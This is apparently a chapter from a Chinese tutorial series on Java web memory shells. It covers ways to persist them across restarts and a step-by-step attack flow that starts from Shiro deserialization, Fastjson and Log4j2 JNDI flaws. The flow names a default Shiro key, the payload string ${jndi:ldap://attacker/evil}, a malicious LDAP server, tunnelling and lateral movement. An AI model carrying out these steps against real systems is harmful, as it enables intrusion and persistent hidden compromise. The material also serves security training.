内存马默认重启消失。本章讲如何持久化,以及从漏洞发现到内存马注入的完整实战流程
内存马持久化技术
持久化方案对比
| 方案 | 原理 | 隐蔽性 | 可靠性 | 复杂度 |
|---|---|---|---|---|
| Agent premain | JVM 启动参数 | 中 | 高 | 中 |
| JVMTI Native Agent | 本地动态库 | 高 | 高 | 高 |
| 修改 JAR/WAR | 写入恶意类到包中 | 低 | 高 | 低 |
| 定时任务重注入 | 系统 cron/at | 中 | 中 | 低 |
| ClassLoader 劫持 | 修改类加载逻辑 | 高 | 中 | 高 |
方案1:Agent premain 持久化
1 | # 在 Tomcat 的 catalina.sh / setenv.sh 中加入 |
1 | public class PersistAgent { |
方案2:修改 JAR/WAR 包
将恶意 Filter 类写入 WEB-INF/classes/ 并修改 web.xml
会留下文件痕迹,但重启后仍然生效
方案3:利用 SPI 机制
1 | // Java SPI 可以自动加载实现类 |
实战全流程
场景:Shiro 反序列化 → Filter 内存马
Phase 1: 信息收集
- 发现目标使用 Shiro →
Set-Cookie: rememberMe=deleteMe - 识别 Shiro 版本和框架 → 指纹识别、报错信息
- 确认反序列化漏洞 → 尝试默认密钥
Phase 2: 漏洞验证
- 爆破 Shiro Key → 常见:
kPH+bIxk5D2deZiIxcaaaA== - 确认可用 Gadget Chain → CommonsBeanutils1 (Shiro 自带)
- 执行 DNSLog/HTTP 回连验证 → 确认漏洞可利用
Phase 3: 注入内存马
- 选择内存马类型 → Filter 型(首选)
- 解决技术问题
Cookie 大小限制 → 分段/压缩
ClassLoader 问题 → 指定 WebappCL
无 request → 从线程获取 Context
- 构造 Payload → CB1 + TemplatesImpl + FilterInjector
- 发送 Payload →
Cookie: rememberMe=<加密payload> - 验证注入成功 →
curl -H "X-Token: xxx" target/
Phase 4: 后利用
- 建立稳定通信 → 切换到冰蝎/哥斯拉加密通信
- 信息收集 → whoami, ifconfig, 内网拓扑
- 建立隧道 → 注入 suo5/reGeorg 隧道型内存马
- 横向移动 → 通过隧道访问内网其他服务
- 权限维持 → 考虑持久化方案
场景:Fastjson RCE → Controller 内存马
- 探测 Fastjson → POST JSON 数据,触发报错看版本
- 确认版本
< 1.2.25: 直接利用
1.2.25-1.2.47: 需要绕过 autoType
1.2.48-1.2.68: 需要特殊 Gadget
> 1.2.68: safeMode 需要绕过
- JNDI 注入方式 → 搭建恶意 LDAP 服务,恶意类 = FilterInjector
- TemplatesImpl 方式(不出网) → 构造 _bytecodes,payload 自包含
场景:Log4j2 (CVE-2021-44228) → 内存马
- 注入点 →
${jndi:ldap://attacker/evil}(任何被 Log4j 记录的输入) - 利用链 → JNDI → LDAP → 返回恶意类 → 注入内存马
- 不出网场景 → 利用 Tomcat 本地 BeanFactory 或 LDAP 返回序列化数据
实战中的坑与解决方案
坑1:Payload 太大
Cookie 默认限制 4KB/8KB,内存马类编译后可能超过
解决:代码精简 / 字节码压缩 / 分段传输 / 两步法(先注入 Downloader)
坑2:ClassLoader 隔离
反序列化使用的 ClassLoader 无法访问 Servlet API
解决:使用 Thread.currentThread().getContextClassLoader() / 显式指定 WebappClassLoader
坑3:目标无法出网
JNDI 注入需要目标访问外部 LDAP/RMI
解决:使用 TemplatesImpl 方式 / 利用目标本地 JNDI Reference
坑4:多次注入导致冲突
重复注入导致多个同名 Filter,或 URL 映射冲突
解决:注入前检查是否已存在 / 使用唯一名称 / 支持卸载更新
坑5:Spring Boot 内嵌 Tomcat 差异
Spring Boot 的内嵌 Tomcat 与独立部署的 Tomcat 内部结构略有不同
解决:获取 StandardContext 的路径不同 / 注意 Spring Boot 的 Filter 注册机制
内存马的卸载
1 | public static void uninstall(StandardContext context, String filterName) { |
练习
- 模拟完整的 Shiro 反序列化 → 内存马注入流程
- 实现一个带自卸载功能的内存马(通过特定命令触发卸载)
- 编写持久化 Agent,实现重启后自动注入
- 思考:如果你是防御方,哪个环节最容易发现攻击者?
| 上一章 | 目录 | 下一章 |
|---|---|---|
| 08-中间件差异与高版本JDK | 内存马 | 附录A-工具方法与调试 |